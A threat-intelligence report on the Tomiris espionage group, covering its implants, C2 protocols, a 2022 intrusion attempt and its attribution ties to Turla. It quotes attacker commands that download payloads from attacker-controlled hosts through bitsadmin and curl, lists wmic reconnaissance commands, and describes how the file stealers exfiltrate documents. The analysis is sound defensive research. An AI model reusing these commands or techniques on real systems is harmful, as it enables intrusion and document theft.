We introduced Tomiris to the world in September 2021, following our investigation of a DNS-hijack against a government organization in the Commonwealth of Independent States (CIS). Our initial report described links between a Tomiris Golang implant and SUNSHUTTLE (which has been associated to NOBELIUM/APT29/TheDukes) as well as Kazuar (which has been associated to Turla); however, interpreting these connections proved difficult.
We continued to track Tomiris as a separate threat actor over three new attack campaigns between 2021 and 2023, and our telemetry allowed us to shed light on the group. In this blog post, we’re excited to share what we now know of Tomiris with the broader community, and discuss further evidence of a possible connection to Turla.
- Tomiris focuses on intelligence gathering in Central Asia. Tomiris’s endgame consistently appears to be the regular theft of internal documents.
- The threat actor targets government and diplomatic entities in the CIS. The occasional victims discovered in other regions (such as the Middle East or South-East Asia) turn out to be foreign representations of CIS countries, illustrating Tomiris’s narrow focus.
- It is characterized by its tendency to develop numerous low-sophistication “burner” implants in a variety of programming languages that are repeatedly deployed against the same targets, using elementary but efficient packaging and distribution techniques. Tomiris occasionally leverages commercial or open-source RATs.
- Language artifacts discovered in Tomiris’s implant families and infrastructure from distinct campaigns all indicate that the threat actor is Russian-speaking.
- Overall, Tomiris is a very agile and determined actor, open to experimentation – for instance with delivery methods (DNS hijacking) or command and control (C2) channels (Telegram).
The following map shows the countries where we detected Tomiris targets (colored in green: Afghanistan and CIS members or ratifiers). It is worth noting that while we identified a few targets in other locations, all of them appear to be foreign diplomatic entities of the colored countries:
Tomiris uses a wide variety of malware implants developed at a rapid pace and in all programming languages imaginable. We hypothesize that the general aim is to provide operators with “full-spectrum malware” in order to evade security products. In fact, on several occasions we observed the actor persistently cycling through available malware strains until one of them was finally allowed to run on victim machines.
Tools used by Tomiris fall into three categories:
- Downloaders, rudimentary malicious programs whose role is to deploy a backdoor or required additional legitimate tools.
- Backdoors, whose feature set is typically limited to reconnaissance, command execution, file download and file upload.
- File stealers specifically built to exfiltrate documents, often relying on a hardcoded list of file extensions to automatically find recently edited files and upload them to a C2. Some file stealers are backdoor variants and share the same code base.
Tomiris goes after its victims using a wide variety of attack vectors: spear-phishing emails with malicious content attached (password-protected archives, malicious documents, weaponized LNKs), DNS hijacking, exploitation of vulnerabilities (specifically ProxyLogon), suspected drive-by downloads and other “creative” methods (see details of the investigation described below). The following table lists all Tomiris malware families we are aware of:
|Tomiris Downloader||Downloader||C||Mentioned in our original blog post.
Some samples contain traces of Russian language.
|Tomiris (Golang implant)||Backdoor||Golang||Described in our original blog post.|
|SBZ filestealer||File stealer||Golang||Document stealer based on Tomiris’s (Golang implant) source code.|
|Tomiris download scheduler||Downloader||C||A variant of Tomiris Downloader that additionally uses scheduled tasks to download a payload.|
|Tomiris .NET downloader||Downloader||.NET||A .NET variant of Tomiris Downloader, mainly used to deploy required legitimate tools, such as WinSCP.|
|Telemiris||Backdoor||Python||Contains traces of Russian language.|
|Roopy||File stealer||Pascal||Similar to SBZ filestealer (see above).|
|JLORAT||Backdoor||Rust||Various traces of Russian language in this family.|
|JLOGRAB||File stealer||Rust||Based on JLORAT’s source code.|
In addition, Tomiris leveraged open-source or commercially available implants and offensive tools. Notably, the latter were associated with Tomiris because they were downloaded from Tomiris downloader, shared a common C2 with other Tomiris implants, and/or were leveraged to deploy other Tomiris implants:
|RATel||Open-source RAT available on GitHub.
One of the samples (MD5 10B315FB7D8BA8D69337F04ED3891E75) that we attributed to Tomiris was downloaded from mail.mfa.uz.webmails[.]info, which has been referenced by Cyjax.
|Python Meterpreter loader||Metasploit-provided Python script that is leveraged to deploy a Meterpreter instance in memory. These are frequently packed using py2exe, PyInstaller or Nuitka.|
|Warzone RAT||A commercial C++ RAT.|
Relationships between Tomiris tools. Arrows indicate direct execution.
Overall, pieces from the Tomiris toolset appear to be generally interchangeable and don’t appear to be tied to specific campaigns or victims. Operators routinely mix and match the various families, trying to deploy tools (often repeatedly) with little regard for stealth until one doesn’t get caught by antivirus software.
The following paragraphs provide a summary description of the main malware strains used by Tomiris.
Telemiris is a Python backdoor originally packed with PyInstaller (we later identified some Nuitka-packaged samples as well). Its name derives from the fact that it uses Telegram as a C2 channel. After setting up persistence (copying itself under %AppData%/service/ and creating a RUN key entry), the malware enters its main loop where it waits for Telegram messages and replies to them. Supported commands are:
|/run||Execute an arbitrary command on the victim’s machine. It’s worth noting that command results are expected to be encoded in Cyrillic codepage.|
||Sends the contents of the file stored on the victim’s machine at the given path.|
|[file attachment]||Writes the received file on the victim’s machine at the path specified in the attachment’s caption, or in the current directory by default. Telemiris replies with “Файл загружен!” (“File downloaded!”).|
From what we observed, Telemiris is used as a first-stage implant that operators use to deploy other tools such as Roopy, JLORAT, or even the legitimate WinSCP binary, to further exfiltrate files.
Written in Pascal, this file stealer crawls the victim’s filesystem at regular intervals and uploads all files of interest to its C2 server. At startup, it wastes CPU cycles on dead code and useless loops, which we assume are for evasion purposes. Roopy then creates its working directory (%AppData%/Microsoft/OneDrive) where it stores the list of already uploaded files (as upload.dat) and a copy of documents waiting to be uploaded (in the backup subfolder).
Then, every 40-80 minutes, Roopy crawls C:Users and all other drives (D:, E:, …), looks for all documents (.doc, .docx, .xls, .xlsx, .txt, .pdf) modified in the last month, and stages them for upload. Discovered files are collected in ZIP archives up to 5MB in size and sent to the C2 server over plain HTTP using POST requests containing such data as:
“b64”:“[base64-encoded zip file]”
This data format, naming convention as well as the URL scheme used by the C2 server (i.e., /h/pa) are very similar to SBZ filestealer. We identified a number of variants of Roopy where logging can be either enabled or disabled by default, or where the base64 encoding scheme was replaced by a simple subtraction from the bytes of the obfuscated data.
Our first sightings of this Rust malware date back to August 2022. Similar to Telemiris, JLORAT copies itself under %AppData% and sets up persistence via a registry RUN key. It also creates a mutex to ensure atomic execution (“whatever”, as in the default usage example for the “single-instance” Rust library that is embedded). The backdoor starts by gathering information on the victim machine, such as the system information, current user and public IP address. The information is sent via an HTTP POST request to the C2 on a non-standard port (i.e., 9942). Sample data sent by the C2 could be:
“name”: “CPU 6”,
“Microsoft Visual C++ 2005 Redistributable (x64)”,
“[REDACTED, list of further installed software items]”
“version”: “Windows 7 Professional”
JLORAT then looks for specific keywords in the data returned by the C2 to start processing orders.
|cmd|[command]||Executes the specified command, and returns the result in the cmd key of the JSON response. Some specific subcommands are processed by JLORAT directly and not passed to the command prompt, such as cmd|cd (change working directory), cmd|ls or cmd|dir (lists file in the current directory) and cmd|curfile (returns the path to the JLORAT binary).|
|upload|path||Sends the designated file from the victim to the C2, on TCP port 9999.|
|download|url|path||Saves the file at the given URL to the provided path on the victim’s machine.|
|screen||Takes a screenshot and sends it to the C2 on TCP port 9999.|
Data sent to port 9999 is not passed in a JSON dictionary, but instead follows a specific format:
|0||FILENAME_LEN||Length of the filename of the data being sent|
|4||FILENAME||Name of the file being sent|
|4 + FILENAME_LEN||CONTENT_LEN||Length of the data|
|8 + FILENAME_LEN||CONTENT||Payload|
We also discovered variants of JLORAT bundled with additional modules – effectively turning it into a file stealer we call JLOGRAB. Just like Roopy, JLOGRAB:
- Periodically looks for documents (a combination of.txt, .pdf, .xml, .xlsx, .doc and .docx files depending on the sample)
- Saves the list as %AppData%/temp_id.txt
- Copies discovered documents under %AppData%/transport
- Uploads them to the C2 in ZIP archives.
JLORAT contains traces of Russian language in status messages (“Директория установлена!”, meaning “Directory set”). The source binary also contains metadata indicating some of the source code is stored in a “moduls” folder, which appears to be a misspelling of the English word “modules”, or a poor transliteration of the Russian word “модуль” (pronounced: modul’).
Tomiris’s deployment spree: TunnusSched giveaway
On January 5, 2023, Mandiant released a blog post describing attacks against Ukrainian entities that they attributed to Turla. Let’s start by briefly summing up their findings:
- In September 2022, a threat actor purchased an expired domain name (anam0rph[.]su) that used to be part of a botnet (Andromeda) infrastructure. This allowed them to receive incoming connections from previous, dormant infections and take over a number of machines.
- Victims in Ukraine were infected with KopiLuwak and QUIETCANARY, two malware strains previously associated with Turla.
While publicly available data indeed shows that anam0rph[.]su was re-registered on August 12, 2022, we couldn’t find any link between Andromeda and KopiLuwak from our telemetry. Nevertheless, we had been tracking QUIETCANARY since 2019 under the name “TunnusSched” (not “Tunnus” as Mandiant’s reporting indicates), and decided to take a closer look at samples collected during the same period.
To our great surprise, we discovered one TunnusSched/QUIETCANARY sample (MD5 B38160FC836AD42F1753A0873C844925) had been delivered to a government target in the CIS on September 13, 2022. Our telemetry additionally shows that this TunnusSched malware was deployed…from Tomiris’s Telemiris (MD5 C49DBF390E876E926A338EA07AC5D4A7).
More precisely, on September 13, 2022, around 05:40 UTC, an operator attempted to deploy several known Tomiris implants via Telemiris: first a Python Meterpreter loader, then JLORAT and Roopy. These efforts were thwarted by security products, which led the attacker to make repeated attempts, from various locations on the filesystem:
$> bitsadmin /transfer www /download hxxps://telegram.akipress[.]news/lsasss.rar [REDACTED]lsasss.rar
$> rar.exe x “[REDACTED]lsasss.rar” “[REDACTED]”
$> dir “[REDACTED]
$> del “[REDACTED]document.rar”
$> wmic list drives
$> wmic diskdrive get name
$> wmic logicaldisk where drivetype=5 get deviceid, volumename, description
$> wmic logicaldisk where drivetype=3 get deviceid, volumename, description
$> bitsadmin /transfer www /download hxxps://telegram.akipress[.]news/lsasss.rar F:lsasss.rar
$> rar.exe x “F:lsasss.rar” “F:”
$> tasklist | findstr /I “lsasss“
All these attempts ended in failure. After a one-hour pause, the operator tried again at 07:19 UTC, this time using a TunnusSched/QUIETCANARY sample:
curl hxxps://crane[.]mn/wp-content/plugins/jetpack/modules/photon-cdn/EpsonDeviceControl.exe –output [REDACTED]epsondevicecontrol.exe
The TunnusSched sample was blocked as well, and the operator resumed trying to deploy JLORAT and Roopy samples up to the next day. This activity and brute-force approach to infection is completely consistent with other Tomiris infections we have observed in the past.
Attribution: reading KopiLuwak’s story again
Mandiant noted that some elements of the recent TunnuSched case they analyzed “appear to be a departure from historical Turla operations”, but the use of KopiLuwak and TunnusSched led them to link this activity to Turla anyway. In order to perform a critical analysis of this attribution process, we need to go back in time.
KopiLuwak has belonged to Turla
TunnusSched and KopiLuwak are part of the same toolset
Starting from 2019, we discovered additional implant families that were linked to KopiLuwak (and so, to Turla), starting from 2019. The implants were additionally linked together, mainly because they leverage an identical RC4 implementation:
|Malware name||Links to Turla|
Code similarity between Topinambour (left) and TunnusSched (right)
The RC4 implementation in these samples results in strictly identical .NET bytecode that, as far as we could verify, is unique to Tunnus, TunnusSched and Topinambour.
The fact that all these implants are interconnected leaves little doubt, and Topinambour at least is strongly linked with KopiLuwak. As a result, we (still) believe with high confidence that TunnusSched and KopiLuwak are both part of similar toolsets, starting from 2019 at the latest.
Mandiant’s recent findings also confirm that KopiLuwak and TunnusSched were still part of the same toolset as of September 2022, as they were both deployed against targets in Ukraine during a single operation.
But Tomiris uses TunnusSched
As we recently discovered (and detailed in “Tomiris’s deployment spree: TunnusSched giveaway”), TunnusSched was leveraged by Tomiris against a government target in the CIS in September 2022.
Additionally, we believe with medium confidence the TunnusSched usage described by Mandiant to be part of Tomiris’s operations, because:
- The TunnusSched sample that was leveraged by Tomiris (MD5 B38160FC836AD42F1753A0873C844925) is very similar to the one that was deployed from KopiLuwak as per Mandiant’s reporting (MD5 403876977DFB4AB2E2C15AD4B29423FF). Most notably, they share identical RC4 encryption keys, user agent strings, unused code (the “ServerInfoExtractor” class), PDB root path (“c:UsersScottsourcereposKapushka.ClientBrowserTelemetryobjRelease”, starting with a lowercase “c:”), both have explicit references to VisualStudio 15.7, and a compilation date set to September 2022.
- The TunnusSched sample used by Tomiris and the one referenced by Mandiant were both (only) deployed against targets in the CIS during the same timeframe (September 2022).
- The TunnusSched deployment described by Mandiant involved taking over an extinct Andromeda C2 domain. We first introduced Tomiris as a threat actor who took over legitimate government hostnames to deploy the Tomiris Golang implant, and it has continued to do so. As a result, we believe it is likely Tomiris may have hijacked extinct Andromeda hostnames or domains.
So Tomiris uses KopiLuwak!
As we have already established, TunnusSched and KopiLuwak are part of similar toolsets (starting from 2019 at least). They were also used together during the same operation in September 2022 in the CIS, while TunnusSched was also deployed separately by Tomiris in the CIS – both independently analyzed cases leveraging very similar TunnusSched samples.
As a result, we believe with medium-to-high confidence that both TunnusSched and KopiLuwak are being leveraged by Tomiris. Additionally, we cannot rule out Tomiris having used KopiLuwak as early as 2019, conducting operations that may have been wrongly attributed to Turla back then.
Wait: wouldn’t that mean Tomiris IS Turla?
This entire discussion would be moot if we believed Tomiris to be (a sub-cluster of) Turla – but this is not the case. While our initial blog post introducing Tomiris noted similarities with malware used in the SolarWinds incident, we continued to track the two sets of activity separately. Years later, we are convinced that despite possible ties between the two groups, Turla and Tomiris are separate actors. Tomiris is undoubtedly Russian-speaking, but its targeting and tradecrafts are significantly at odds with what we have observed for Turla. In addition, Tomiris’s general approach to intrusion and limited interest in stealth are significantly at odds with documented Turla tradecraft.
It follows that two groups (that we know of) may have used KopiLuwak at different points in time. What are the possible explanations for this?
- It is possible that Turla doesn’t mind using a tool that was burned in 2016 and is still using it in current operations along with new tools.
- Turla shares tool and expertise with Tomiris, or cooperates with Tomiris on joint operations. In this scenario, it might be acceptable for Turla to give away burned tools, or to use old implants that will not disclose current capabilities to their partners.
- Tomiris and Turla rely on a common supplier that provides offensive capabilities. Or maybe Tomiris initially started out as a private outfit writing tools for Turla and is now branching out into the mercenary business. If so, it is entirely possible that Tomiris, using the toolset it developed for Turla, is conducting operations for different customers.
Our assessment is that the first two hypotheses are the least likely and that there exists a form of deliberate cooperation between Tomiris and Turla. Its exact nature is, however, hard to determine with the information we have at hand. In any case, depending on when Tomiris started using KopiLuwak, a number of campaigns and tools believed to be linked to Turla may in fact need to be re-evaluated.
Not only Topinambour, Tunnus, TunnusSched (QUIETCANARY) and RocketMan may have been used by Tomiris in the past (we know this is the case for TunnusSched, and very likely for Tunnus due to the discovery of government victims in Russia in 2019), it could also be the case that these tools are Tomiris’s exclusive property. Looking back, we cannot help but notice that all of these tools were predominantly used in the CIS region, which is consistent with Tomiris’s traditional victimology.
With this report, we hope to alert the community to the dangers of using KopiLuwak and TunnusSched to link cyberattacks to Turla. To the best of our knowledge, this toolset is currently shared between Tomiris and Turla and we cannot rule out that more actors outside our purview have access to it. We expect the attribution of this cluster of activities to remain unclear for the near future.
In the grander scheme of things, this investigation reveals the pitfalls that the information security industry faces when working on cyberattacks. We rely on a knowledge pool generously shared among all participants, yet information decays: what is true today may turn out to be wrong tomorrow. Discovering new, reliable data isn’t enough; existing assumptions also need to be substantiated – which can only happen when vendors publish data. In that spirit, we kindly thank Mandiant for the research they published.
Finally, this investigation illustrates the limits of technical attribution. Looking at infections and malware samples only gets us so far and we are often reminded that APT groups are subject to organizational and political constraints. On rare occasions, we stumble upon a piece of the puzzle that allows us to pierce the veil.
As for the Tomiris mystery, we’ll be eagerly awaiting the next piece.
Indicators of compromise
Tomiris Golang implant
Tomiris .NET Downloader
Tomiris Download Scheduler
Packed Python Meterpreter loader
 Name is directly extracted from strings in binary samples. Despite similarity to the “STAITBIZARRE” implant (also sometimes called “SBZ”), it is completely unrelated.